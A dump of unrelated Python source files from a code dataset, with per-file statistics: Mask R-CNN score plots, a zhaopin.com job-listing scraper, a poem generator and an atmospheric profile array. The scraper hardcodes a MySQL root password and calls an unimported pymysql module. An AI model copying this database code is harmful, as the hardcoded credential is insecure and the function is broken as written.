# rows = math.ceil(n_features / columns )
print( ' Num features: ', n_features , 'Rows / Columns: ', rows, columns)
fig = plt.figure(figsize=(4*columns, 4*rows))
# vmin = scores.min()
# vmax = scores.max()
norm = None
title_fontsz = 10
subttl_fontsz = 10
cbar_fontsz = 8
label_fontsz = 8
tick_fontsz = 2
for idx, feat in enumerate(classes):
row = idx
subplot = (row * columns) + 1
if orig_scores is not None:
ax= fig.add_subplot(rows, columns, subplot)
subttl = '{} - {} - Mask RCNN Score'.format(feat, class_names[feat])
ax.set_title(subttl, fontsize=subttl_fontsz)
ax.invert_yaxis()
surf = ax.contourf(orig_scores[0,feat], cmap=cm.jet, norm= norm)
cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=cbar_fontsz)
ax.tick_params(axis='both', labelsize = label_fontsz, length = 3 , width = 1)
subplot += 1
ax= fig.add_subplot(rows, columns, subplot)
subttl = 'Stage 1 Score '.format(feat, class_names[feat])
ax.set_title(subttl, fontsize=subttl_fontsz)
ax.tick_params(axis='both', labelsize = label_fontsz, length = 3 , width = 1)
ax.invert_yaxis()
surf = ax.contourf(pr_scores[0,feat], cmap=cm.jet, norm= norm)
cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=cbar_fontsz)
subplot += 1
ax= fig.add_subplot(rows, columns, subplot)
subttl = 'Stage 2 Score 1'
ax.set_title(subttl, fontsize=subttl_fontsz)
ax.tick_params(axis='both', labelsize = label_fontsz, length = 3 , width = 1)
ax.invert_yaxis()
surf = ax.contourf(fcn_scores[0,feat], cmap=cm.jet, norm= norm)
cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=cbar_fontsz)
subplot += 1
ax= fig.add_subplot(rows, columns, subplot)
subttl = 'Stage 2 Score 2'
ax.set_title(subttl, fontsize=subttl_fontsz)
ax.tick_params(axis='both', labelsize = label_fontsz, length = 3 , width = 1)
ax.invert_yaxis()
surf = ax.contourf(fcn_scores[1,feat], cmap=cm.jet, norm= norm)
cbar = fig.colorbar(surf, shrink=0.6, aspect=30, fraction=0.05)
cbar.ax.tick_params(labelsize=cbar_fontsz)
if title is not None :
ttl = title
fig.suptitle(ttl, fontsize = title_fontsz, ha ='center', va = 'top' )
plt.subplots_adjust(top=0.9, bottom=0.02, left=0.02, right=0.98, hspace=0.25, wspace=0.15)
# plt.tight_layout()
plt.show()
return fig
##-----------------------------------------------------------------------------------------------------------
## FUNCTIONS USED TO PLOT SCORE CURVES BASED ON OBJECT MOVEMENT
## EXP-2 Aggregate Heatmap over out of context prediciton - Newshapes V2
##-----------------------------------------------------------------------------------------------------------
def plot_fcn_score_curves(x_y_dim, fcn_scores, mrcnn_scores, class_names, ax = None ,
min_x = 0.0, title = None, mrcnn = False, fcn = True, classes = None):
if ax is None:
plt.figure(figsize=(10,5))
ax = plt.gca()
# scores is always passed ffom plot_mAP_by_scores, so it's nver None
# so we loop on scores instead of sorted(class_data)
# for idx, score_key in enumerate(sorted(class_data)):
if fcn:
for idx, cls in enumerate(fcn_scores):
print('cls: ', cls)
if cls in classes:
print('add to plot')
ax.plot(x_y_dim, fcn_scores[cls], label= cls + ' - FCN score', color = COLOR[idx])
if mrcnn:
for idx, cls in enumerate(mrcnn_scores):
if cls in classes:
ax.plot(x_y_dim, mrcnn_scores[cls], label= cls + ' - MR-CNN score', color = LT_COLOR[idx])
print(' y limit:', plt.ylim(), ' xlimit : ', plt.xlim())
ax.set_title(title, fontsize=14)
ax.set_xlabel('Object displacement from origin axis', fontsize= 12)
ax.set_ylabel('FCN Score', fontsize= 12)
ax.tick_params(axis='both', labelsize = 10)
# ax.set_xlim([min_x,1.05])
# ax.set_ylim([all_scores.min()-0.05, all_scores.max()+0.05])
leg = plt.legend(loc='lower left',frameon=True, fontsize = 10, markerscale = 6)
leg.set_title(' Scores ',prop={'size':11})
plt.grid(True)
# for xval in np.linspace(0.0, 1.0, 11):
# plt.vlines(xval, 0.0, 1.1, color='gray', alpha=0.3, linestyles='dashed', linewidth=1)
def plot_fcn_score_curves_1(x_y_dim, fcn_scores, mrcnn_scores, cls_name, ax = None ,
min_x = 0.0, title = None, mrcnn = True, fcn = True):
if ax is None:
plt.figure(figsize=(10,5))
ax = plt.gca()
if fcn:
for idx, cls in enumerate(fcn_scores):
ax.plot(x_y_dim[cls], fcn_scores[cls], label= cls + ' - FCN score')
if mrcnn:
for idx, cls in enumerate(mrcnn_scores):
ax.plot(x_y_dim[cls], mrcnn_scores[cls], label= cls + ' - MR-CNN score')
print(' y limit:', plt.ylim(), ' xlimit : ', plt.xlim())
ax.set_title(title, fontsize=14)
ax.set_xlabel('Object displacement from origin axis', fontsize= 12)
ax.set_ylabel('FCN Score', fontsize= 12)
ax.tick_params(axis='both', labelsize = 10)
leg = plt.legend(loc='lower left',frameon=True, fontsize = 10, markerscale = 6)
leg.set_title(' Scores ',prop={'size':11})
plt.grid(True)
def plot_fcn_score_curves_2(x_y_dim, cls_scores, cls_name, ax = None ,
min_x = 0.0, title = None):
ax.set_title(title, fontsize=14)
ax.set_xlabel('Object displacement from origin axis', fontsize= 12)
ax.set_ylabel('FCN Score', fontsize= 12)
ax.tick_params(axis='both', labelsize = 10)
# ax.set_xlim([min_x,1.05])
# ax.set_ylim([all_scores.min()-0.05, all_scores.max()+0.05])
leg = plt.legend(loc='lower left',frameon=True, fontsize = 10, markerscale = 6)
leg.set_title(' Scores ',prop={'size':11})
plt.grid(True)
# for xval in np.linspace(0.0, 1.0, 11):
# plt.vlines(xval, 0.0, 1.1, color='gray', alpha=0.3, linestyles='dashed', linewidth=1)
##-----------------------------------------------------------------------------------------------------------
## FUNCTIONS USED TO PLOT SCORE CURVES BASED ON OBJECT MOVEMENT
## EXP-6 Aggregate Heatmap over out of context prediciton - Newshapes V2
##-----------------------------------------------------------------------------------------------------------
def plot_exp6_score_curves(x_y_dim, fcn_scores, mrcnn_scores, class_name,
ax = None , min_y = 0.0, min_x = 0.0, ttl = None, plot = None, scales = None):
COLORS = [ BLUE ,RED, GREEN , AQUA , PURPLE , ORANGE , GOLD , PINK, BROWN ]
LT_COLORS = [ LBLUE,LRED, LGREEN , LAQUA, LPURPLE, LORANGE, LGOLD , LPINK, LBROWN ]
if ax is None:
fig = plt.figure(figsize=(10,5))
ax = fig.gca()
if plot is None:
plot = 'FCN'
# scores is always passed ffom plot_mAP_by_scores, so it's nver None
# so we loop on scores instead of sorted(class_data)
# for idx, score_key in enumerate(sorted(class_data)):
if scales is None:
scales = list(range(len(fcn_scores)))
title = 'Score change by scale - '+class_name+' - '+ ttl
if plot == 'FCN':
idx = 0
for run in fcn_scores:
if run in scales:
# print('fcn plot: ', run)
ax.plot(x_y_dim[run], fcn_scores[run], label= str(run+1) + ' - Stg2 score' , color = COLORS[idx])
ax.axhline(np.mean(fcn_scores[run]), label= str(run+1) + ' - Stg2 Avgscore', color = LT_COLORS[idx], linestyle = '--')
idx += 1
else:
for idx, run in enumerate(mrcnn_scores):
if run in scales:
# print('pr plot: ', run, mrcnn_scores[run])
ax.plot(x_y_dim[run], mrcnn_scores[run], label= str(run+1) + ' - Stg1 score', color = LT_COLORS[idx])
# print(' y limit:', plt.ylim(), ' xlimit : ', plt.xlim())
ax.set_title(title, fontsize=14)
ax.set_xlabel('Object displacement across X axis', fontsize= 12)
ax.set_ylabel('Score', fontsize= 12)
ax.tick_params(axis='both', labelsize = 10)
ax.set_ylim([min_y,1.0])
# ax.set_ylim([all_scores.min()-0.05, all_scores.max()+0.05])
leg = plt.legend(loc='best',frameon=True, fontsize = 10, markerscale = 6)
leg.set_title('Scale/Score',prop={'size':11})
plt.grid(True)
# for xval in np.linspace(0.0, 1.0, 11):
# plt.vlines(xval, 0.0, 1.1, color='gray', alpha=0.3, linestyles='dashed', linewidth=1)
##-----------------------------------------------------------------------------------------------------------
## FUNCTIONS USED TO PLOT SCORE CURVES BASED ON OBJECT MOVEMENT
## EXP-N Mask R-CNN
##-----------------------------------------------------------------------------------------------------------
def plot_expN_score_curves(x_y_dim, mrcnn_scores, fcn_scores, pr_scores, class_names,
ax = None , min_y = 0.0, min_x = 0.0, ttl = None, plot = None, classes = None):
COLORS = [ BLUE ,RED, GREEN , AQUA , PURPLE , ORANGE , GOLD , PINK, BROWN ]
LT_COLORS = [ LBLUE,LRED, LGREEN , LAQUA, LPURPLE, LORANGE, LGOLD , LPINK, LBROWN ]
if ax is None:
fig = plt.figure(figsize=(10,5))
ax = fig.gca()
if plot is None:
plot = 'MRCNN'
# scores is always passed ffom plot_mAP_by_scores, so it's nver None
# so we loop on scores instead of sorted(class_data)
# for idx, score_key in enumerate(sorted(class_data)):
if classes is None:
classes = list(mrcnn_scores.keys())
title = 'Score change by vertical position '
if plot == 'MRCNN':
idx = 0
for run in mrcnn_scores:
if run in classes:
# print('class: ', run)
# print('mrcnn_scores: ' , mrcnn_scores[run])
ax.plot(x_y_dim[run], fcn_scores[run], label= class_names[run] + ' - ' , color = COLORS[idx])
ax.axhline(np.mean(fcn_scores[run]) , label= class_names[run] + ' - Avg', color = LT_COLORS[idx], linestyle = '--')
idx += 1
# if plot == 'FCN':
# idx = 0
# for run in fcn_scores:
# if run in classes:
# # print('fcn plot: ', run)
# ax.plot(x_y_dim[run], fcn_scores[run], label= str(run+1) + ' - Stg2 score' , color = COLORS[idx])
# ax.axhline(np.mean(fcn_scores[run]), label= str(run+1) + ' - Stg2 Avgscore', color = LT_COLORS[idx], linestyle = '--')
# idx += 1
# else:
# for idx, run in enumerate(mrcnn_scores):
# if run in scales:
# # print('pr plot: ', run, mrcnn_scores[run])
# ax.plot(x_y_dim[run], mrcnn_scores[run], label= str(run+1) + ' - Stg1 score', color = LT_COLORS[idx])
# print(' y limit:', plt.ylim(), ' xlimit : ', plt.xlim())
ax.set_title(title, fontsize=14)
ax.set_xlabel('Object displacement across X axis', fontsize= 12)
ax.set_ylabel('Score', fontsize= 12)
ax.tick_params(axis='both', labelsize = 10)
ax.set_ylim([min_y,1.05])
# ax.set_ylim([all_scores.min()-0.05, all_scores.max()+0.05])
leg = plt.legend(loc='best',frameon=True, fontsize = 10, markerscale = 6)
leg.set_title('Scale/Score',prop={'size':11})
plt.grid(True)
# for xval in np.linspace(0.0, 1.0, 11):
# plt.vlines(xval, 0.0, 1.1, color='gray', alpha=0.3, linestyles='dashed', linewidth=1)
| 48.924303 | 193 | 0.495172 | 11,101 | 85,960 | 3.662643 | 0.056571 | 0.018151 | 0.016183 | 0.003984 | 0.778057 | 0.740107 | 0.701813 | 0.664674 | 0.632455 | 0.603065 | 0 | 0.045366 | 0.289169 | 85,960 | 1,756 | 194 | 48.952164 | 0.620051 | 0.187762 | 0 | 0.517918 | 0 | 0.039249 | 0.185786 | 0.002538 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033276 | false | 0 | 0.019625 | 0 | 0.069113 | 0.212457 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f9b0dec09f30bd8c95e9fa5d7a79000c06a16f17 | 165 | py | Python | sources/t12/t12ej15.py | workready/pythonbasic | 59bd82caf99244f5e711124e1f6f4dec8de22141 | [
"MIT"
] | null | null | null | sources/t12/t12ej15.py | workready/pythonbasic | 59bd82caf99244f5e711124e1f6f4dec8de22141 | [
"MIT"
] | null | null | null | sources/t12/t12ej15.py | workready/pythonbasic | 59bd82caf99244f5e711124e1f6f4dec8de22141 | [
"MIT"
] | null | null | null | import numpy as np
import pandas as pd
df = pd.DataFrame(np.random.randn(4,4), index=['a','b','c','d'], columns=list('ABCD'))
print(df)
print()
print(df[df.A > 0])
| 20.625 | 86 | 0.642424 | 32 | 165 | 3.3125 | 0.65625 | 0.132075 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020548 | 0.115152 | 165 | 7 | 87 | 23.571429 | 0.705479 | 0 | 0 | 0 | 0 | 0 | 0.048485 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 3 |
f9bc18006691a469d86e6dcf0a7ccc93eed5b7fa | 5,098 | py | Python | work/boss.py | marinajacks/reptilian | 990cb371a551164828ad40e57df74ebdf5ebf25e | [
"MIT"
] | null | null | null | work/boss.py | marinajacks/reptilian | 990cb371a551164828ad40e57df74ebdf5ebf25e | [
"MIT"
] | null | null | null | work/boss.py | marinajacks/reptilian | 990cb371a551164828ad40e57df74ebdf5ebf25e | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Jun 1 20:46:14 2018
@author: macbook
这部分的招聘数据是来来自于boss直聘的数据,可以根据职位以及相关的数据写入到文本或者是
数据库中
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Jun 1 18:21:39 2018
这个数据主要是从智联招聘中获取到的数据,获取到数据后边还可以进行数据
的可视化。
@author: macbook
"""
import requests
from bs4 import BeautifulSoup
import re
def test():
url0='http://sou.zhaopin.com/jobs/searchresult.ashx?jl=%E6%9D%AD%E5%B7%9E%2B%E4%B8%8A%E6%B5%B7&kw=%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E5%B8%88&p=1&isadv='
urls=[]
for i in range(13):
urls.append(url0+str(i+1))
#注意到这里的数据分析师,只有1-13,所以获取到这个数据的时候,实际上只需要从1到13
headers = {'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
res=requests.get(urls[0],headers=headers)
soup=BeautifulSoup(res.text,'html.parser')
jobs=soup.find_all(class_='zwmc')
hrefs=[]
for job in jobs:
tags=job.find(href=re.compile("^http:"))
if(tags is None):
pass
else:
print(tags.get('href'))
hrefs.append(tags.get('href'))
return 0
def test1():
url1='http://jobs.zhaopin.com/516616229250085.htm'
url='http://jobs.zhaopin.com/490285325251385.htm?ssidkey=y&ss=201&ff=03&sg=ec1e7ec892084114a8c91a27e1d39487&so=3&uid=666930424'
headers = {'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
res=requests.get(url,headers=headers)
soup=BeautifulSoup(res.text,'html.parser')
jobinfo=[]
info=soup.find(class_='terminal-ul clearfix').get_text().split('\n')
for i in info:
if(i==''):
pass
else:
jobinfo.append(i.strip())
#这部分主要是为了写入到文本
'''
for i in jobinfo:
print(i,end=' ')
'''
#下面的数据是很难获取到的.这部分的数据处理起来问题很多,
#另外,实际上我们需要注意的就是这里是真正的文本处理
#soup.find(class_='tab-inner-cont').get_text()
return jobinfo
#这个函数获取到工作的url信息
def geturl(url0,n):
#url0='http://sou.zhaopin.com/jobs/searchresult.ashx?jl=%E6%9D%AD%E5%B7%9E%2B%E4%B8%8A%E6%B5%B7&kw=%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E5%B8%88&p=1&isadv='
urls=[]
for i in range(n):
urls.append(url0+str(i+1))
#注意到这里的数据分析师,只有1-13,所以获取到这个数据的时候,实际上只需要从1到13
headers = {'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
res=[]
soups=[]
jobss=[]
for i in range(n):
res.append(requests.get(urls[i],headers=headers))
soups.append(BeautifulSoup(res[i].text,'html.parser'))
jobss.append(soups[i].find_all(class_='zwmc'))
hrefs=[]
for jobs in jobss:
for job in jobs:
tags=job.find(href=re.compile("^http:"))
if(tags is None):
pass
else:
hrefs.append(tags.get('href'))
return hrefs
def getvalue(url,path):
#url1='http://jobs.zhaopin.com/516616229250085.htm'
#url='http://jobs.zhaopin.com/490285325251385.htm?ssidkey=y&ss=201&ff=03&sg=ec1e7ec892084114a8c91a27e1d39487&so=3&uid=666930424'
headers = {'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
res=requests.get(url,headers=headers)
soup=BeautifulSoup(res.text,'html.parser')
jobinfo=[]
info=soup.find(class_='terminal-ul clearfix').get_text().split('\n')
for i in info:
if(i==''):
pass
else:
jobinfo.append(i.strip())
#这部分主要是为了写入到文本
values=''
for i in jobinfo:
values+=i
values+=' '
values+='\n'
f=open(path,'a',encoding='utf-8')
f.write(values)
f.close()
print('hello')
#下面的数据是很难获取到的.这部分的数据处理起来问题很多,
#另外,实际上我们需要注意的就是这里是真正的文本处理
#soup.find(class_='tab-inner-cont').get_text()
#return jobinfo
def writebase(infos):
conn = pymysql.Connect(
host='localhost',
port=3306,
user='root',
passwd='123456',
db='ecnu',
charset='utf8'
)
cursor = conn.cursor()
a=infos
if(len(infos)==7):
cursor.executemany("insert into kami(notes,area,rooms,unitprice,floor,year,totalprice) values(%s,%s,%s,%s,%s,%s,%s)"
,[(a[0],a[1],a[2],a[3],a[4],a[5],a[6])])
conn.commit()
else:
pass
cursor.close()
conn.close()
if __name__ == "__main__":
#url0='http://sou.zhaopin.com/jobs/searchresult.ashx?jl=%E6%9D%AD%E5%B7%9E%2B%E4%B8%8A%E6%B5%B7&kw=%E6%9C%8D%E8%A3%85%E5%88%B6%E7%89%88%E5%B8%88&p=1&isadv='
url0='http://sou.zhaopin.com/jobs/searchresult.ashx?jl=%E6%9D%AD%E5%B7%9E%2B%E4%B8%8A%E6%B5%B7&kw=%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B%E5%B8%88&p=1&isadv='
urls=geturl(url0,90)
path='/Users/macbook/documents/project/reptilian/work/job3.txt'
for url in urls:
getvalue(url,path) | 31.469136 | 163 | 0.618086 | 767 | 5,098 | 4.071708 | 0.298566 | 0.025616 | 0.013449 | 0.023055 | 0.708293 | 0.704131 | 0.665386 | 0.659942 | 0.644573 | 0.644573 | 0 | 0.108374 | 0.203609 | 5,098 | 162 | 164 | 31.469136 | 0.660837 | 0.198902 | 0 | 0.445545 | 0 | 0.079208 | 0.344704 | 0.057964 | 0 | 0 | 0 | 0 | 0 | 1 | 0.049505 | false | 0.059406 | 0.029703 | 0 | 0.108911 | 0.019802 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
f9bd8702a4b1ee96efdf1a5e6255146caf314277 | 181 | py | Python | py-podcast/podcasts/log.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | 1 | 2017-05-04T05:23:45.000Z | 2017-05-04T05:23:45.000Z | py-podcast/podcasts/log.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | 11 | 2017-02-28T04:25:51.000Z | 2021-12-13T19:43:55.000Z | py-podcast/podcasts/log.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | 2 | 2017-04-30T00:26:21.000Z | 2018-02-22T22:46:57.000Z | import sys
import logging
from podcasts.constants import *
# Logger to use everywhere
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
logger = logging.getLogger(LOGGER)
| 22.625 | 58 | 0.812155 | 24 | 181 | 6.125 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104972 | 181 | 7 | 59 | 25.857143 | 0.907407 | 0.132597 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f9d812ba20a0f8132b3f90777850b46f6252c7f1 | 55 | py | Python | varappx/handle_config.py | 444thLiao/VarappX-flask | 9a59f4eb5897a1ecf90978e9f357954cdd7d410a | [
"MIT"
] | 1 | 2017-04-27T09:12:50.000Z | 2017-04-27T09:12:50.000Z | varappx/handle_config.py | 444thLiao/VarappX-flask | 9a59f4eb5897a1ecf90978e9f357954cdd7d410a | [
"MIT"
] | null | null | null | varappx/handle_config.py | 444thLiao/VarappX-flask | 9a59f4eb5897a1ecf90978e9f357954cdd7d410a | [
"MIT"
] | null | null | null | from config import config
settings = config['testing'] | 18.333333 | 28 | 0.781818 | 7 | 55 | 6.142857 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127273 | 55 | 3 | 28 | 18.333333 | 0.895833 | 0 | 0 | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
ddb7a375caab6cd77abd5de2d815c3833997f09f | 338 | py | Python | Topaz/Core.py | AmitGreen/Gem.Unsquashed | c51a82b4a3ed35e516126f406488923a86ef26e5 | [
"MIT"
] | null | null | null | Topaz/Core.py | AmitGreen/Gem.Unsquashed | c51a82b4a3ed35e516126f406488923a86ef26e5 | [
"MIT"
] | null | null | null | Topaz/Core.py | AmitGreen/Gem.Unsquashed | c51a82b4a3ed35e516126f406488923a86ef26e5 | [
"MIT"
] | null | null | null | #
# Copyright (c) 2017 Amit Green. All rights reserved.
#
@gem('Topaz.Core')
def gem():
require_gem('Gem.Exception')
require_gem('Gem.Map')
from Gem import values_tuple_sorted_by_key
share(
#
# Imported functions
#
'values_tuple_sorted_by_key', values_tuple_sorted_by_key,
)
| 17.789474 | 67 | 0.62426 | 42 | 338 | 4.690476 | 0.595238 | 0.167513 | 0.258883 | 0.28934 | 0.335025 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01626 | 0.272189 | 338 | 18 | 68 | 18.777778 | 0.784553 | 0.215976 | 0 | 0 | 0 | 0 | 0.21875 | 0.101563 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | true | 0 | 0.125 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ddc6c5328e1e60eaad2a968d2850730ef154a94b | 2,182 | py | Python | poem/wonderpoem.py | sprice3/creativecode | edd7234ac445ceb56dc6f53b6c22d409b4e34f35 | [
"MIT"
] | null | null | null | poem/wonderpoem.py | sprice3/creativecode | edd7234ac445ceb56dc6f53b6c22d409b4e34f35 | [
"MIT"
] | null | null | null | poem/wonderpoem.py | sprice3/creativecode | edd7234ac445ceb56dc6f53b6c22d409b4e34f35 | [
"MIT"
] | null | null | null | import random
emotionOne = ["happy","sad","calm","loud","anger","joy","disgust","shame","love","terrfied"]
emotionTwo = ["peace","relief","compassion","nervous","confused","bitter","mad","shocked","relieved","jealous"]
emotionNess = ["happiness","sadness","maddness","boredness","foolishness","hopefulness","silliness","stupidness","resentfulness","eagerness"]
adjectiveOne = ["awful","beautiful","cold","condescending","cruel","gloomy", "mean","miserable","normal","passionate"]
adjectiveTwo = ["lame","critical","egotistical","hateful","lame","anxious","boring","dim"]
for i in range(1):
e1 = random.choice(emotionOne)
e2 = random.choice(emotionTwo)
e3 = random.choice(emotionNess)
a1 = random.choice(adjectiveOne)
a2 = random.choice(adjectiveTwo)
print("I wonder what it's like to feel " + e1 + " without feeling " + e2 + ".")
for i in range(1):
e1 = random.choice(emotionOne)
e2 = random.choice(emotionTwo)
e3 = random.choice(emotionNess)
a1 = random.choice(adjectiveOne)
a2 = random.choice(adjectiveTwo)
print("Are you filled with a sense of " + e3 + "?")
print('\n')
for i in range(1):
e1 = random.choice(emotionOne)
e2 = random.choice(emotionTwo)
e3 = random.choice(emotionNess)
a1 = random.choice(adjectiveOne)
a2 = random.choice(adjectiveTwo)
print("I wonder how it feels to be " + e1 + " all the time.")
for i in range(1):
e1 = random.choice(emotionOne)
e2 = random.choice(emotionTwo)
e3 = random.choice(emotionNess)
a1 = random.choice(adjectiveOne)
a2 = random.choice(adjectiveTwo)
print("Is the world as " + a1 + " as it seems?")
print('\n')
for i in range(1):
e1 = random.choice(emotionOne)
e2 = random.choice(emotionTwo)
e3 = random.choice(emotionNess)
a1 = random.choice(adjectiveOne)
a2 = random.choice(adjectiveTwo)
print("I wonder if we'll ever all feel " + e1 + ".")
for i in range(1):
e1 = random.choice(emotionOne)
e2 = random.choice(emotionTwo)
e3 = random.choice(emotionNess)
a1 = random.choice(adjectiveOne)
a2 = random.choice(adjectiveTwo)
print("Connected by this, not " + a2 + ", but in it together.")
| 36.366667 | 141 | 0.663611 | 272 | 2,182 | 5.323529 | 0.378676 | 0.248619 | 0.024862 | 0.04558 | 0.611188 | 0.611188 | 0.611188 | 0.611188 | 0.611188 | 0.611188 | 0 | 0.023731 | 0.169569 | 2,182 | 59 | 142 | 36.983051 | 0.775386 | 0 | 0 | 0.76 | 0 | 0 | 0.259395 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.04 | 0.02 | 0 | 0.02 | 0.16 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ddcb4965d553576a8db71da9d70c08dd104fe345 | 12,848 | py | Python | source/rttov_test/profile-datasets-py/div83/010.py | bucricket/projectMAScorrection | 89489026c8e247ec7c364e537798e766331fe569 | [
"BSD-3-Clause"
] | null | null | null | source/rttov_test/profile-datasets-py/div83/010.py | bucricket/projectMAScorrection | 89489026c8e247ec7c364e537798e766331fe569 | [
"BSD-3-Clause"
] | 1 | 2022-03-12T12:19:59.000Z | 2022-03-12T12:19:59.000Z | source/rttov_test/profile-datasets-py/div83/010.py | bucricket/projectMAScorrection | 89489026c8e247ec7c364e537798e766331fe569 | [
"BSD-3-Clause"
] | null | null | null | """
Profile ../profile-datasets-py/div83/010.py
file automaticaly created by prof_gen.py script
"""
self["ID"] = "../profile-datasets-py/div83/010.py"
self["Q"] = numpy.array([ 2.095776, 2.465104, 3.1296 , 3.963974, 5.003875,
5.921015, 6.371809, 6.473068, 6.457728, 6.408619,
6.31879 , 6.221031, 6.186012, 6.208811, 6.248791,
6.249351, 6.238571, 6.208811, 6.148072, 6.044683,
5.886575, 5.628238, 5.349561, 5.054794, 4.733978,
4.362401, 3.939184, 3.492948, 3.046111, 2.642203,
2.323985, 2.093356, 1.938136, 1.855297, 1.823937,
1.825827, 1.847347, 1.870697, 1.873936, 1.853107,
1.814007, 1.790617, 1.804607, 1.857837, 1.941866,
2.129285, 2.500164, 2.836112, 3.006931, 3.12847 ,
3.21225 , 3.262739, 3.303259, 3.347139, 3.362529,
3.373449, 3.415948, 3.515398, 3.662857, 3.802286,
3.875425, 3.993384, 5.670948, 10.0286 , 15.87335 ,
21.89402 , 27.33565 , 32.30636 , 37.82687 , 45.09077 ,
53.92039 , 64.31746 , 76.55004 , 91.06231 , 108.4872 ,
128.7134 , 148.5269 , 161.091 , 160.1943 , 140.2593 ,
110.2268 , 91.40125 , 89.92581 , 103.0884 , 133.1153 ,
181.622 , 253.6816 , 347.6251 , 439.19 , 468.0418 ,
165.9215 , 160.9761 , 156.2436 , 151.711 , 147.3693 ,
143.2085 , 139.2176 , 135.3897 , 131.7156 , 128.1876 ,
124.7984 ])
self["P"] = numpy.array([ 5.00000000e-03, 1.61000000e-02, 3.84000000e-02,
7.69000000e-02, 1.37000000e-01, 2.24400000e-01,
3.45400000e-01, 5.06400000e-01, 7.14000000e-01,
9.75300000e-01, 1.29720000e+00, 1.68720000e+00,
2.15260000e+00, 2.70090000e+00, 3.33980000e+00,
4.07700000e+00, 4.92040000e+00, 5.87760000e+00,
6.95670000e+00, 8.16550000e+00, 9.51190000e+00,
1.10038000e+01, 1.26492000e+01, 1.44559000e+01,
1.64318000e+01, 1.85847000e+01, 2.09224000e+01,
